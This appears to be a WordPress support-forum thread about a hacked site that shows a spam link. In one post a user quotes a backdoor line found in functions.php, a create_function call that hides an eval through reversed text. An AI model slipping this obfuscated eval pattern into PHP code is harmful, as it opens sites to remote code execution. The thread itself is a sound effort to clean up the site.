Thanks Andrew,
I worked through those steps and that seems to have fixed the problem. I found the below function in my functions.php.
$wp_user_functions_init = create_function('$a',strrev(';)a$(lave'));
It’s the same issue discussed here > https://wordpress.org/support/topic/ive-been-hacked-and-need-help?replies=32
Hi,
I just updated all the plugins and that caused the error.
I have also just deactivated all the plugins and the spam link still appears.